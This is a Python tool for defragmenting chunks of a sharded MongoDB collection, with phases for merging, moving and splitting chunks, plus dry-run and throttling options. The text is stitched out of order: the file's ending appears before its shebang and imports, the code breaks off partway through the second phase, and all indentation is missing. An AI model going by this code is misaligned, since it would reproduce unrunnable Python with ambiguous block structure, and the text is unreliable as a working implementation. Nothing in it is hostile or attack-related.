num_splits_per_shard = splits_performed_per_shard.get(s, 0)
num_chunks_per_shard = len(shard_to_chunks[s]['chunks']) + num_splits_per_shard
avg_chunk_size_shard = total_shard_size[s] / num_chunks_per_shard if num_chunks_per_shard > 0 else 0
print(f"Number chunks on {s: >15}: {num_chunks_per_shard:7} Data-Size: {fmt_kb(total_shard_size[s]): >9} "
f" ({fmt_kb(total_shard_size[s] - orig_shard_sizes[s]): >9}) Avg chunk size {fmt_kb(avg_chunk_size_shard): >9}"
f" Splits performed {num_splits_per_shard}")
total_coll_size_kb = sum(total_shard_size.values())
total_num_chunks_phase_2 = len(chunks_id_index)
avg_chunk_size_phase_2 = total_coll_size_kb / total_num_chunks_phase_2
total_num_chunks_phase_3 = total_num_chunks_phase_2 + sum(splits_performed_per_shard.values())
avg_chunk_size_phase_3 = total_coll_size_kb / total_num_chunks_phase_3
ideal_num_chunks = math.ceil(total_coll_size_kb / target_chunk_size_kb)
print("\n");
print(f"""Number of chunks is {total_num_chunks_phase_3} the ideal number of chunks would be {ideal_num_chunks} for a collection size of {fmt_kb(total_coll_size_kb)}""")
print(f'Average chunk size: Phase I {fmt_kb(avg_chunk_size_phase_1)} | Phase II {fmt_kb(avg_chunk_size_phase_2)} | Phase III {fmt_kb(avg_chunk_size_phase_3)}')
print(f"Total moved data: {fmt_kb(total_moved_data_kb)} i.e. {(100 * total_moved_data_kb / total_coll_size_kb):.2f} %")
if __name__ == "__main__":
argsParser = argparse.ArgumentParser(
description=
"""Tool to defragment a sharded cluster in a way which minimises the rate at which the major
shard version gets bumped in order to minimise the amount of stalls due to refresh.""")
argsParser.add_argument(
'uri', help='URI of the mongos to connect to in the mongodb://[user:password@]host format',
metavar='uri', type=str)
argsParser.add_argument(
'--dryrun', help=
"""Indicates whether the script should perform actual durable changes to the cluster or just
print the commands which will be executed. If specified, it needs to be passed a value
(in MB) which indicates the target chunk size to be used for the simulation in case the
cluster doesn't have the chunkSize setting enabled. Since some phases of the script
depend on certain state of the cluster to have been reached by previous phases, if this
mode is selected, the script will stop early.""", metavar='target_chunk_size',
type=lambda x: int(x) * 1024, required=False)
argsParser.add_argument('--ns', help="""The namespace on which to perform defragmentation""",
metavar='ns', type=str, required=True)
argsParser.add_argument('--small-chunk-threshold', help="""Threshold for the size of chunks
eligable to be moved in Phase II. Fractional value between 0 and 0.5""",
metavar='fraction', dest='small_chunk_frac', type=float, default=0.25)
argsParser.add_argument('--shard-imbalance-threshold', help="""Threshold for the size difference
between two shards where chunks can be moved to. Fractional value between 1.0 and 1.5""",
metavar='fraction', dest="shard_imbalance_frac", type=float, default=1.2)
argsParser.add_argument(
'--no-write-chunk-size',
help="""Store chunk sizes in `config.chunks`""",
dest="no_write_chunk_size", action='store_true')
argsParser.add_argument(
'--phase_1_reset_progress',
help="""Applies only to Phase 1 and instructs the script to clear the chunk size estimation
and merge progress which may have been made by an earlier invocation""",
action='store_true')
argsParser.add_argument(
'--estimated_chunk_size_mb',
help="""Only used in dry-runs to estimate the chunk size (in MiB) instead of calling dataSize.
The default is chosen as 40%% of 64MB, which states that we project that under the
current 64MB chunkSize default and the way the auto-splitter operates, the collection's
chunks are only about 40%% full.
""", metavar='chunk_size_mb', dest='phase_1_estimated_chunk_size_kb',
type=lambda x: int(x) * 1024, default=64 * 1024 * 0.40)
argsParser.add_argument(
'--phase_1_calc_size_threshold',
help="""Applies only to Phase 1: when the estimated size of a batch surpasses this threshold
(expressed as a percentage of the target chunk size), a real calculation of the batch size
will be triggered. Fractional value between 0.0 and 1.0""",
metavar="fraction_of_chunk_size",
dest='threshold_for_size_calculation',
type=float,
default=0.9)
argsParser.add_argument(
'--phases',
help="""Which phase of the defragmentation algorithm to execute.""",
metavar='phase', dest="exec_phase", type=str, default='all', choices=[
'all', 'phase1', 'phase2', 'phase3'
])
argsParser.add_argument(
'--phase_2_max_migrations',
help="""Maximum number of migrations.""",
metavar='max_migrations', dest="max_migrations", type=int, default=-1)
argsParser.add_argument(
'--write-size-on-exit',
help="""Used for debugging purposes, write all missing data size estimation on disk before exit.""",
dest="write_size_on_exit", action='store_true')
argsParser.add_argument(
'--no-parallel-merges',
help="""Specify whether merges should be executed in parallel or not.""",
dest="no_parallel_merges", action='store_true')
argsParser.add_argument(
'--phase1-throttle-secs',
help="""Specify the time in fractional seconds used to throttle phase1. Only one merge will be performed every X seconds.""",
metavar='secs', dest='phase1_throttle_secs', type=float, default=0)
argsParser.add_argument(
'--phase2-throttle-secs',
help="""Specify the time in fractional seconds used to throttle phase2. Only one merge will be performed every X seconds.""",
metavar='secs', dest="phase2_throttle_secs", type=float, default=0)
argsParser.add_argument(
'--phase3-throttle-secs',
help="""Specify the time in fractional seconds used to throttle phase3. Only one split will be performed every X seconds.""",
metavar='secs', dest='phase3_throttle_secs', type=float, default=0)
list = " ".join(sys.argv[1:])
logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', level=logging.INFO)
logging.info(f"Starting with parameters: '{list}'")
args = argsParser.parse_args()
loop = asyncio.get_event_loop()
loop.run_until_complete(main(args))
| #!/usr/bin/env python3
#
import argparse
import asyncio
import logging
import math
from motor.frameworks.asyncio import is_event_loop
import pymongo
import sys
import time
import pickle
from common import Cluster, yes_no
from copy import deepcopy
from pymongo import errors as pymongo_errors
from tqdm import tqdm
# Ensure that the caller is using python 3
if (sys.version_info[0] < 3):
raise Exception("Must be using Python 3")
class ShardedCollection:
def __init__(self, cluster, ns):
self.cluster = cluster
self.name = ns
self.ns = {'db': self.name.split('.', 1)[0], 'coll': self.name.split('.', 1)[1]}
self._direct_config_connection = None
async def init(self):
collection_entry = await self.cluster.configDb.collections.find_one({'_id': self.name})
if (collection_entry is None) or collection_entry.get('dropped', False):
raise Exception(f"""Collection '{self.name}' does not exist""")
self.uuid = collection_entry['uuid']
self.shard_key_pattern = collection_entry['key']
self.fcv = await self.cluster.FCV
def chunks_query_filter(self):
if self.fcv >= '5.0':
return {'uuid': self.uuid}
else:
return {'ns': self.name}
async def data_size_kb(self):
data_size_response = await self.cluster.client[self.ns['db']].command({
'collStats': self.ns['coll'],
}, codec_options=self.cluster.client.codec_options)
return math.ceil(max(float(data_size_response['size']), 1024.0) / 1024.0)
async def data_size_kb_per_shard(self):
"""Returns an dict:
{<shard_id>: <size>}
with collection size in KiB for each shard
"""
pipeline = [{'$collStats': {'storageStats': {}}},
{'$project': {'shard': True, 'storageStats': {'size': True}}}]
storage_stats = await self.cluster.client[self.ns['db']][self.ns['coll']].aggregate(pipeline).to_list(300)
def bytes_to_kb(size):
return max(float(size), 1024.0) / 1024.0
sizes = {}
for s in storage_stats:
shard_id = s['shard']
sizes[shard_id] = bytes_to_kb(s['storageStats']['size'])
return sizes
async def data_size_kb_from_shard(self, range):
data_size_response = await self.cluster.client[self.ns['db']].command({
'dataSize': self.name,
'keyPattern': self.shard_key_pattern,
'min': range[0],
'max': range[1],
'estimate': True
}, codec_options=self.cluster.client.codec_options)
# Round up the data size of the chunk to the nearest kilobyte
return math.ceil(max(float(data_size_response['size']), 1024.0) / 1024.0)
async def split_chunk(self, chunk, maxChunkSize_kb, conn):
chunk_size_kb = chunk['defrag_collection_est_size']
if chunk_size_kb <= maxChunkSize_kb:
return
num_split_points = chunk_size_kb // maxChunkSize_kb
surplus = chunk_size_kb - num_split_points * maxChunkSize_kb
new_maxChunkSize_kb = maxChunkSize_kb - (maxChunkSize_kb - surplus) / (num_split_points + 1);
remove_last_split_point = False
if surplus >= maxChunkSize_kb * 0.8:
# The last resulting chunk will have a size gte(80% maxChunkSize) and lte(maxChunkSize)
pass
elif surplus < maxChunkSize_kb - new_maxChunkSize_kb:
# The last resulting chunk will be slightly bigger than maxChunkSize
remove_last_split_point = True
else:
# Fairly distribute split points so resulting chunks will be of similar sizes
maxChunkSize_kb = new_maxChunkSize_kb
res = await conn.admin.command({
'splitVector': self.name,
'keyPattern': self.shard_key_pattern,
# Double size because splitVector splits at half maxChunkSize
'maxChunkSizeBytes': maxChunkSize_kb * 2 * 1024,
'min': chunk['min'],
'max': chunk['max']
}, codec_options=self.cluster.client.codec_options)
split_keys = res['splitKeys']
if len(split_keys) > 0:
if remove_last_split_point:
split_keys.pop()
for key in res['splitKeys']:
res = await self.cluster.adminDb.command({
'split': self.name,
'middle': key
}, codec_options=self.cluster.client.codec_options)
splits_performed_per_shard[chunk['shard']] += len(split_keys);
async def move_chunk(self, chunk, to):
await self.cluster.adminDb.command({
'moveChunk': self.name,
'bounds': [chunk['min'], chunk['max']],
'to': to
}, codec_options=self.cluster.client.codec_options)
async def merge_chunks(self, consecutive_chunks):
assert (len(consecutive_chunks) > 1)
await self.cluster.adminDb.command({
'mergeChunks': self.name,
'bounds': [consecutive_chunks[0]['min'], consecutive_chunks[-1]['max']]
}, codec_options=self.cluster.client.codec_options)
async def try_write_chunk_size(self, range, expected_owning_shard, size_to_write_kb):
try:
chunk_selector = self.chunks_query_filter()
chunk_selector.update({
'min': range[0],
'max': range[1],
'shard': expected_owning_shard
})
update_result = await self.cluster.configDb.chunks.update_one(
chunk_selector,
{'$set': {'defrag_collection_est_size': size_to_write_kb}}
)
if update_result.matched_count != 1:
raise Exception(
f"Chunk [{range[0]}, {range[1]}] wasn't updated: {update_result.raw_result}")
except Exception as ex:
logging.warning(f'Error {ex} occurred while writing the chunk size')
async def clear_chunk_size_estimations(self):
update_result = await self.cluster.configDb.chunks.update_many(
self.chunks_query_filter(),
{'$unset': {'defrag_collection_est_size': ''}}
)
return update_result.modified_count
def fmt_bytes(num):
suffix = "B"
for unit in ["", "Ki", "Mi", "Gi", "Ti", "Pi", "Ei", "Zi"]:
if abs(num) < 1024.0:
return f"{num:3.1f}{unit}{suffix}"
num /= 1024.0
return f"{num:.1f}Yi{suffix}"
def fmt_kb(num):
return fmt_bytes(num*1024)
async def throttle_if_necessary(last_time_secs, min_delta_secs):
secs_elapsed_since_last = (time.perf_counter() - last_time_secs)
if secs_elapsed_since_last < min_delta_secs:
secs_to_sleep = min_delta_secs - secs_elapsed_since_last
await asyncio.sleep(secs_to_sleep)
async def main(args):
cluster = Cluster(args.uri, asyncio.get_event_loop())
await cluster.check_is_mongos(warn_only=args.dryrun)
coll = ShardedCollection(cluster, args.ns)
await coll.init()
###############################################################################################
# Sanity checks (Read-Only). Ensure that:
# - The current FCV mode is lower than 5.0
# - The balancer and auto-splitter are stopped
# - No zones are associated to the collection
# - MaxChunkSize has been configured appropriately
#
async def balancer_enabled():
balancer_status = await cluster.adminDb.command({'balancerStatus': 1})
assert 'mode' in balancer_status, f"Unrecognized balancer status response: {balancer_status}"
return balancer_status['mode'] != 'off'
if not args.dryrun and await balancer_enabled():
raise Exception("""The balancer must be stopped before running this script. Please run:
sh.stopBalancer()""")
tags_doc = await cluster.configDb.tags.find_one({'ns': args.ns})
if tags_doc is not None:
raise Exception("There can be no zones associated with the collection to defragment")
auto_splitter_doc = await cluster.configDb.settings.find_one({'_id': 'autosplit'})
if not args.dryrun and (auto_splitter_doc is None or auto_splitter_doc['enabled']):
raise Exception(
"""The auto-splitter must be disabled before running this script. Please run:
db.getSiblingDB('config').settings.update({_id:'autosplit'}, {$set: {enabled: false}}, {upsert: true})"""
)
chunk_size_doc = await cluster.configDb.settings.find_one({'_id': 'chunksize'})
if chunk_size_doc is None:
if not args.dryrun:
raise Exception(
"""The MaxChunkSize must be configured before running this script. Please run:
db.getSiblingDB('config').settings.update({_id:'chunksize'}, {$set: {value: <maxChunkSize>}}, {upsert: true})"""
)
else:
target_chunk_size_kb = args.dryrun
elif chunk_size_doc['value'] <= 0:
raise Exception(
f"""Found an invalid chunk size in config.settings: '{chunk_size_doc['value']}'""")
else:
target_chunk_size_kb = chunk_size_doc['value'] * 1024
if args.small_chunk_frac <= 0 or args.small_chunk_frac > 0.5:
raise Exception("The value for --small-chunk-threshold must be between 0 and 0.5")
small_chunk_size_kb = target_chunk_size_kb * args.small_chunk_frac
if args.shard_imbalance_frac <= 1.0 or args.shard_imbalance_frac > 1.5:
raise Exception("The value for --shard-imbalance-threshold must be between 1.0 and 1.5")
if args.threshold_for_size_calculation < 0 or args.threshold_for_size_calculation > 1:
raise Exception("The value for --phase_1_calc_size_threshold must be between 0 and 1.0")
args.write_chunk_size = not args.no_write_chunk_size
if args.dryrun:
logging.info(f"""Performing a dry run with target chunk size of {fmt_kb(target_chunk_size_kb)} """
f"""and an estimated chunk size of {fmt_kb(args.phase_1_estimated_chunk_size_kb)}."""
f"""No actual modifications to the cluster will occur.""")
else:
yes_no(
f'The next steps will perform an actual merge with target chunk size of {fmt_kb(target_chunk_size_kb)}.'
)
if args.phase_1_reset_progress:
yes_no(f'Previous defragmentation progress will be reset.')
num_cleared = await coll.clear_chunk_size_estimations()
logging.info(f'Cleared {num_cleared} already processed chunks.')
###############################################################################################
# Initialisation (Read-Only): Fetch all chunks in memory and calculate the collection version
# in preparation for the subsequent write phase.
###############################################################################################
num_chunks = await cluster.configDb.chunks.count_documents(coll.chunks_query_filter())
logging.info(f"""Collection '{coll.name}' has a shardKeyPattern of {coll.shard_key_pattern} and {num_chunks} chunks""")
shard_to_chunks = {}
async def load_chunks():
global collectionVersion
logging.info('Preperation: Loading chunks into memory')
assert not shard_to_chunks
collectionVersion = None
with tqdm(total=num_chunks, unit=' chunk') as progress:
async for c in cluster.configDb.chunks.find(coll.chunks_query_filter(), sort=[('min',
pymongo.ASCENDING)]):
shard_id = c['shard']
if collectionVersion is None:
collectionVersion = c['lastmod']
if c['lastmod'] > collectionVersion:
collectionVersion = c['lastmod']
if shard_id not in shard_to_chunks:
shard_to_chunks[shard_id] = {'chunks': [], 'num_merges_performed': 0, 'num_moves_performed': 0}
shard = shard_to_chunks[shard_id]
shard['chunks'].append(c)
progress.update()
if not args.dryrun:
sizes = await coll.data_size_kb_per_shard()
assert (len(sizes) == len(shard_to_chunks))
for shard_id in shard_to_chunks:
assert (shard_id in sizes)
shard_to_chunks[shard_id]['size'] = sizes[shard_id]
async def write_all_missing_chunk_size():
if args.dryrun or not args.write_chunk_size:
return
async def write_size(ch, progress):
bounds = [ch['min'], ch['max']]
size = await coll.data_size_kb_from_shard(bounds)
await coll.try_write_chunk_size(bounds, ch['shard'], size)
progress.update()
missing_size_query = coll.chunks_query_filter()
missing_size_query.update({'defrag_collection_est_size': {'$exists': 0}})
num_chunks_missing_size = await cluster.configDb.chunks.count_documents(missing_size_query)
if not num_chunks_missing_size:
return
logging.info("Calculating missing chunk size estimations")
with tqdm(total=num_chunks_missing_size, unit=' chunks') as progress:
tasks = []
async for ch in cluster.configDb.chunks.find(missing_size_query):
tasks.append(
asyncio.ensure_future(write_size(ch, progress)))
await asyncio.gather(*tasks)
# Mirror the config.chunks indexes in memory
def build_chunk_index():
global chunks_id_index, chunks_min_index, chunks_max_index, num_small_chunks, num_chunks_no_size
chunks_id_index = {}
chunks_min_index = {}
chunks_max_index = {}
num_small_chunks = 0
num_chunks_no_size = 0
for s in shard_to_chunks:
for c in shard_to_chunks[s]['chunks']:
assert(chunks_id_index.get(c['_id']) == None)
chunks_id_index[c['_id']] = c
chunks_min_index[pickle.dumps(c['min'])] = c
chunks_max_index[pickle.dumps(c['max'])] = c
if 'defrag_collection_est_size' in c:
if c['defrag_collection_est_size'] < small_chunk_size_kb:
num_small_chunks += 1
else:
num_chunks_no_size += 1
###############################################################################################
#
# WRITE PHASES START FROM HERE ONWARDS
#
###############################################################################################
###############################################################################################
# PHASE 1 (Merge-only): The purpose of this phase is to merge as many chunks as possible without
# actually moving any data. It is intended to achieve the maximum number of merged chunks with
# the minimum possible intrusion to the ongoing CRUD workload due to refresh stalls.
#
# The stage is also resumable, because for every chunk/chunk range that it processes, it will
# persist a field called 'defrag_collection_est_size' on the chunk, which estimates its size as
# of the time the script ran. Resuming Phase 1 will skip over any chunks which already contain
# this field, because it indicates that previous execution already ran and performed all the
# possible merges.
#
# These are the parameters that control the operation of this phase and their purpose is
# explaned below:
max_merges_on_shards_at_less_than_collection_version = 1
max_merges_on_shards_at_collection_version = 10
# The way Phase 1 (merge-only) operates is by running:
#
# (1) Up to `max_merges_on_shards_at_less_than_collection_version` concurrent mergeChunks
# across all shards which are below the collection major version
# AND
# (2) Up to `max_merges_on_shards_at_collection_version` concurrent mergeChunks across all
# shards which are already on the collection major version
#
# Merges due to (1) will bring the respective shard's major version to that of the collection,
# which unfortunately is interpreted by the routers as "something routing-related changed" and
# will result in refresh and a stall on the critical CRUD path. Because of this, the script only
# runs one at a time of these by default. On the other hand, merges due to (2) only increment
# the minor version and will not cause stalls on the CRUD path, so these can run with higher
# concurrency.
#
# The expectation is that at the end of this phase, not all possible defragmentation would have
# been achieved, but the number of chunks on the cluster would have been significantly reduced
# in a way that would make Phase 2 much less invasive due to refreshes after moveChunk.
#
# For example in a collection with 1 million chunks, a refresh due to moveChunk could be
# expected to take up to a second. However with the number of chunks reduced to 500,000 due to
# Phase 1, the refresh time would be on the order of ~100-200msec.
###############################################################################################
sem_at_less_than_collection_version = asyncio.Semaphore(
max_merges_on_shards_at_less_than_collection_version)
sem_at_collection_version = asyncio.Semaphore(max_merges_on_shards_at_collection_version)
async def merge_chunks_on_shard(shard, collection_version, progress):
shard_entry = shard_to_chunks[shard]
shard_chunks = shard_entry['chunks']
if len(shard_chunks) == 0:
return
estimated_chunk_size_kb = args.phase_1_estimated_chunk_size_kb
if not args.dryrun:
estimated_chunk_size_kb = shard_entry['size'] / float(len(shard_entry['chunks']))
chunk_at_shard_version = max(shard_chunks, key=lambda c: c['lastmod'])
shard_version = chunk_at_shard_version['lastmod']
shard_is_at_collection_version = shard_version.time == collection_version.time
progress.write(f'{shard}: avg chunk size {fmt_kb(estimated_chunk_size_kb)}')
progress.write(f'{shard}: {shard_version}: ', end='')
if shard_is_at_collection_version:
progress.write('Merge will start without major version bump')
else:
progress.write('Merge will start with a major version bump')
async def update_chunk_size_estimation(ch):
size_label = 'defrag_collection_est_size'
if size_label in ch:
return
if args.dryrun:
ch[size_label] = estimated_chunk_size_kb
return
chunk_range = [ch['min'], ch['max']]
ch[size_label] = await coll.data_size_kb_from_shard(chunk_range)
if args.write_chunk_size:
await coll.try_write_chunk_size(chunk_range, shard, ch[size_label])
def lookahead(iterable):
"""Pass through all values from the given iterable, augmented by the
information if there are more values to come after the current one
(True), or if it is the last value (False).
"""
# Get an iterator and pull the first value.
it = iter(iterable)
last = next(it)
# Run the iterator to exhaustion (starting from the second value).
for val in it:
# Report the *previous* value (more to come).
yield last, True
last = val
# Report the last value.
yield last, False
class ChunkBatch:
def __init__(self, chunk_size_estimation):
self.chunk_size_estimation = chunk_size_estimation
self.batch = []
self.batch_size_estimation = 0
self.trust_batch_estimation = True
def append(self, ch):
"""Append a chunk to the batch and update the size estimation"""
self.batch.append(ch)
if 'defrag_collection_est_size' not in ch:
self.trust_batch_estimation = False
self.batch_size_estimation += self.chunk_size_estimation
else:
self.batch_size_estimation += ch['defrag_collection_est_size']
def update_size(self, size):
"""Update batch size estimation"""
self.batch_size_estimation = size
self.trust_batch_estimation = True
def reset(self):
"""Reset the batch and the size estimation"""
self.batch = []
self.batch_size_estimation = 0
self.trust_batch_estimation = True
def __len__(self):
return len(self.batch)
consecutive_chunks = ChunkBatch(estimated_chunk_size_kb)
remain_chunks = []
last_merge_time = time.perf_counter()
for c, has_more in lookahead(shard_chunks):
progress.update()
if len(consecutive_chunks) == 0:
# Assume that the user might run phase I more than once. We may encouter chunks with
# defrag_collection_est_size set and minimum 75% target chunk size. Do not attempt
# to merge these further
skip_chunk = False
if 'defrag_collection_est_size' in c:
skip_chunk = c['defrag_collection_est_size'] >= target_chunk_size_kb * 0.75
if skip_chunk or not has_more:
await update_chunk_size_estimation(c)
remain_chunks.append(c)
else:
consecutive_chunks.append(c)
continue
merge_consecutive_chunks_without_size_check = False
def will_overflow_target_size():
"""Returns true if merging the `consecutive_chunks` with the current one `c` will
produce a chunk that is 20% bigger that the target chunk size.
If we don't trust the estimation of `consecutive_chunks` or
we don't know the size of `c` this function will always return false.
"""
trust_estimations = consecutive_chunks.trust_batch_estimation and 'defrag_collection_est_size' in c
return (trust_estimations and
consecutive_chunks.batch_size_estimation + c['defrag_collection_est_size'] > (target_chunk_size_kb * 1.20))
if consecutive_chunks.batch[-1]['max'] == c['min'] and not will_overflow_target_size():
consecutive_chunks.append(c)
elif len(consecutive_chunks) == 1:
await update_chunk_size_estimation(consecutive_chunks.batch[0])
remain_chunks.append(consecutive_chunks.batch[0])
consecutive_chunks.reset()
consecutive_chunks.append(c)
if not has_more:
await update_chunk_size_estimation(consecutive_chunks.batch[0])
remain_chunks.append(consecutive_chunks.batch[0])
consecutive_chunks.reset()
continue
else:
merge_consecutive_chunks_without_size_check = True
# To proceed to this stage we must have at least 2 consecutive chunks as candidates to
# be merged
assert (len(consecutive_chunks) > 1)
# After we have collected a run of chunks whose estimated size is 90% of the maximum
# chunk size, invoke `dataSize` in order to determine whether we can merge them or if
# we should continue adding more chunks to be merged
if consecutive_chunks.batch_size_estimation < target_chunk_size_kb * args.threshold_for_size_calculation \
and not merge_consecutive_chunks_without_size_check and has_more:
continue
merge_bounds = [consecutive_chunks.batch[0]['min'], consecutive_chunks.batch[-1]['max']]
# Determine the "exact" (not 100% exact because we use the 'estimate' option) size of
# the currently accumulated bounds via the `dataSize` command in order to decide
# whether this run should be merged or if we should continue adding chunks to it.
if not consecutive_chunks.trust_batch_estimation and not args.dryrun:
consecutive_chunks.update_size(await coll.data_size_kb_from_shard(merge_bounds))
if merge_consecutive_chunks_without_size_check or not has_more:
pass
elif consecutive_chunks.batch_size_estimation < target_chunk_size_kb * 0.75:
# If the actual range size is sill 25% less than the target size, continue adding
# consecutive chunks
continue
elif consecutive_chunks.batch_size_estimation > target_chunk_size_kb * 1.10:
# TODO: If the actual range size is 10% more than the target size, use `splitVector`
# to determine a better merge/split sequence so as not to generate huge chunks which
# will have to be split later on
pass
# Perform the actual merge, obeying the configured concurrency
sem = (sem_at_collection_version
if shard_is_at_collection_version else sem_at_less_than_collection_version)
async with sem:
new_chunk = consecutive_chunks.batch[0].copy()
new_chunk['max'] = consecutive_chunks.batch[-1]['max']
new_chunk['defrag_collection_est_size'] = consecutive_chunks.batch_size_estimation
remain_chunks.append(new_chunk)
if not args.dryrun:
try:
await throttle_if_necessary(last_merge_time, args.phase1_throttle_secs)
await coll.merge_chunks(consecutive_chunks.batch)
if args.write_chunk_size:
await coll.try_write_chunk_size(merge_bounds, shard,
consecutive_chunks.batch_size_estimation)
last_merge_time = time.perf_counter()
except pymongo_errors.OperationFailure as ex:
if ex.details['code'] == 46: # The code for LockBusy
logging.warning(
f"""Lock error occurred while trying to merge chunk range {merge_bounds}.
Consider executing with the option `--no-parallel-merges`.""")
raise
else:
progress.write(
f'Merging {len(consecutive_chunks)} consecutive chunks on {shard}: {merge_bounds}'
)
# Reset the accumulator so far. If we are merging due to
# merge_consecutive_chunks_without_size_check, need to make sure that we don't forget
# the current entry since it is not part of the run
consecutive_chunks.reset()
if merge_consecutive_chunks_without_size_check:
consecutive_chunks.append(c)
if not has_more:
await update_chunk_size_estimation(c)
remain_chunks.append(c)
shard_entry['num_merges_performed'] += 1
shard_is_at_collection_version = True
# replace list of chunks for phase 2
shard_entry['chunks'] = remain_chunks
# Conditionally execute phase 1
if args.exec_phase == 'phase1' or args.exec_phase == 'all':
logging.info('Phase I: Merging consecutive chunks on shards')
await load_chunks()
assert (len(shard_to_chunks) > 1)
logging.info(
f'Collection version is {collectionVersion} and chunks are spread over {len(shard_to_chunks)} shards'
)
with tqdm(total=num_chunks, unit=' chunk') as progress:
if args.no_parallel_merges or args.phase1_throttle_secs:
for s in shard_to_chunks:
await merge_chunks_on_shard(s, collectionVersion, progress)
else:
tasks = []
for s in shard_to_chunks:
tasks.append(
asyncio.ensure_future(merge_chunks_on_shard(s, collectionVersion, progress)))
await asyncio.gather(*tasks)
else:
logging.info("Skipping Phase I")
###############################################################################################
# PHASE 2 (Move-and-merge): The purpose of this phase is to move chunks, which are not
# contiguous on a shard (and couldn't be merged by Phase 1) to a shard where they could be
# further merged to adjacent chunks.
#
# This stage relies on the 'defrag_collection_est_size' fields written to every chunk from
# Phase 1 in order to calculate the most optimal move strategy.
#
# might be called with a chunk document without size estimation
async def get_chunk_size(ch):
if 'defrag_collection_est_size' in ch:
return ch['defrag_collection_est_size']
local = chunks_id_index[ch['_id']]
if 'defrag_collection_est_size' in local:
return local['defrag_collection_est_size']
chunk_range = [ch['min'], ch['max']]
data_size_kb = await coll.data_size_kb_from_shard(chunk_range)
ch['phase2_calculated_size'] = True
chunks_id_index[ch['_id']]['defrag_collection_est_size'] = data_size_kb
return data_size_kb
async def move_merge_chunks_by_size(shard, progress):
global num_small_chunks
global num_chunks_no_size
total_moved_data_kb = 0
shard_entry = shard_to_chunks[shard]
shard_chunks = shard_entry['chunks']
if len(shard_chunks) == 0:
return 0
def check_max_migrations():
if args.max_migrations > 0:
args.max_migrations -= 1
if args.max_migrations == 0:
raise Exception("Max number of migrations exceeded")
async def get_remain_chunk_imbalance(center, target_chunk):
if target_chunk is None:
return sys.maxsize
combined = await get_chunk_size(center) + await get_chunk_size(target_chunk)
remain = (combined % target_chunk_size_kb)
if remain == 0:
return 0
return min(combined, abs(remain - target_chunk_size_kb))
progress.write(f'Moving small chunks off shard {shard}')
sorted_chunks = shard_chunks.copy()
sorted_chunks.sort(key = lambda c: c.get('defrag_collection_est_size', 0))
last_migration_time = time.perf_counter()
for c in sorted_chunks:
# this chunk might no longer exist due to a move
if c['_id'] not in chunks_id_index:
continue
center_size_kb = await get_chunk_size(c)
had_size = 'phase2_calculated_size' not in c
# size should miss only in dryrun mode
assert had_size or args.dryrun or not args.write_chunk_size
# chunk are sorted so if we encounter a chunk too big that has not being previously merged
# we can safely exit from the loop since all the subsequent chunks will be bigger
if center_size_kb > small_chunk_size_kb:
if 'merged' in c:
continue
elif not had_size:
progress.update(1)
continue
else:
break
# chunks should be on other shards, but if this script was executed multiple times or
# due to parallelism the chunks might now be on the same shard
left_chunk = chunks_max_index.get(pickle.dumps(c['min']))
right_chunk = chunks_min_index.get(pickle.dumps(c['max']))
# Exclude overweight target shards
if (left_chunk is not None and right_chunk is not None) and (left_chunk['shard'] != right_chunk['shard']):
if total_shard_size[left_chunk['shard']] > total_shard_size[right_chunk['shard']] * args.shard_imbalance_frac:
left_chunk = None
elif total_shard_size[right_chunk['shard']] > total_shard_size[left_chunk['shard']] * args.shard_imbalance_frac:
right_chunk = None
else:
pass
if left_chunk is not None:
target_shard = left_chunk['shard']
left_size = await get_chunk_size(left_chunk)
new_size = left_size + center_size_kb
is_overweight = False
if shard != target_shard:
is_overweight = total_shard_size[shard] > total_shard_size[target_shard] * args.shard_imbalance_frac
# only move a smaller chunk unless shard is bigger
if (center_size_kb <= left_size or is_overweight) and (
await get_remain_chunk_imbalance(c, left_chunk)) < (await get_remain_chunk_imbalance(c, right_chunk)):
merge_bounds = [left_chunk['min'], c['max']]
if not args.dryrun:
await throttle_if_necessary(last_migration_time, args.phase2_throttle_secs)
if shard != target_shard:
await coll.move_chunk(c, target_shard)
await coll.merge_chunks([left_chunk, c])
if args.write_chunk_size:
await coll.try_write_chunk_size(merge_bounds, target_shard, new_size)
last_migration_time = time.perf_counter()
else:
progress.write(f'Moving chunk left from {shard} to {target_shard}, '
f'merging {merge_bounds}, new size: {fmt_kb(new_size)}')
# update local map,
chunks_id_index.pop(c['_id']) # only first chunk is kept
chunks_min_index.pop(pickle.dumps(c['min']))
chunks_max_index.pop(pickle.dumps(c['max']))
chunks_max_index[pickle.dumps(c['max'])] = left_chunk
left_chunk['merged'] = True
left_chunk['max'] = c['max']
left_chunk['defrag_collection_est_size'] = new_size
if shard != target_shard:
total_shard_size[shard] -= center_size_kb
total_shard_size[target_shard] += center_size_kb
total_moved_data_kb += center_size_kb
# update stats for merged chunk (source)
progress.update(1)
#update stats for merged chunk (destination)
if left_size <= small_chunk_size_kb and new_size > small_chunk_size_kb:
progress.update(1)
check_max_migrations()
continue
if right_chunk is not None:
target_shard = right_chunk['shard']
right_size = await get_chunk_size(right_chunk)
new_size = right_size + center_size_kb
is_overweight = False
if shard != target_shard:
is_overweight = total_shard_size[shard] > total_shard_size[target_shard] * args.shard_imbalance_frac
if center_size_kb <= right_size or is_overweight:
merge_bounds = [c['min'], right_chunk['max']]
if not args.dryrun:
await throttle_if_necessary(last_migration_time, args.phase2_throttle_secs)
if shard != target_shard:
await coll.move_chunk(c, target_shard)
await coll.merge_chunks([c, right_chunk])
if args.write_chunk_size:
await coll.try_write_chunk_size(merge_bounds, target_shard, new_size)
last_migration_time = time.perf_counter()
else:
progress.write(f'Moving chunk right from {c["shard"]} to {right_chunk["shard"]}, '
f'merging {merge_bounds}, new size: {fmt_kb(new_size)}')
# update local map
chunks_id_index.pop(right_chunk['_id']) # only first chunk is kept
chunks_min_index.pop(pickle.dumps(right_chunk['min']))
chunks_max_index.pop(pickle.dumps(c['max']))
chunks_max_index[pickle.dumps(right_chunk['max'])] = c
c['merged'] = True
c['shard'] = target_shard
c['max'] = right_chunk['max']
c['defrag_collection_est_size'] = new_size
if shard != target_shard:
total_shard_size[shard] -= center_size_kb
total_shard_size[target_shard] += center_size_kb
total_moved_data_kb += center_size_kb
# update stats for merged chunk (source)
progress.update(1)
#update stats for merged chunk (destination)
if right_size <= small_chunk_size_kb and new_size > small_chunk_size_kb:
progress.update(1)
check_max_migrations()
continue
# </for c in sorted_chunks:>
return total_moved_data_kb
async def phase_2():
# Move and merge small chunks. The way this is written it might need to run multiple times
total_moved_data_kb = 0
total_chunks_to_process = num_small_chunks + num_chunks_no_size
